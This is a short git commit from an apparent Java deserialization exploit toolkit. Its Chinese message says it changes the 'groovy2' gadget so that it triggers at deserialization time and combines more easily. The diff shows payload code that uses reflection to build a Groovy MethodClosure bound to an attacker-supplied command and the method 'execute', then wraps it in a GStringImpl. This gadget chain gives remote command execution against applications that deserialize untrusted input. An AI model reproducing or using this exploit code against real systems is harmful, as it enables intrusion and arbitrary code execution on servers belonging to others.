groovy2 gadget反序列时触发,方便组合

This commit is contained in:
Fw-fW-fw
2024-08-19 19:06:59 +08:00
parent 7d7128b4db
commit 9db31149d0
@@ -17,7 +17,7 @@ public class Groovy2 implements ObjectPayload<Object> {
MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
Reflections.setFieldValue(execute,"owner",command);
Reflections.setFieldValue(execute,"method","execute");
GStringImpl gString = new GStringImpl(new Object[]{execute},new String[]{"start"});
GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"});
try {
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true);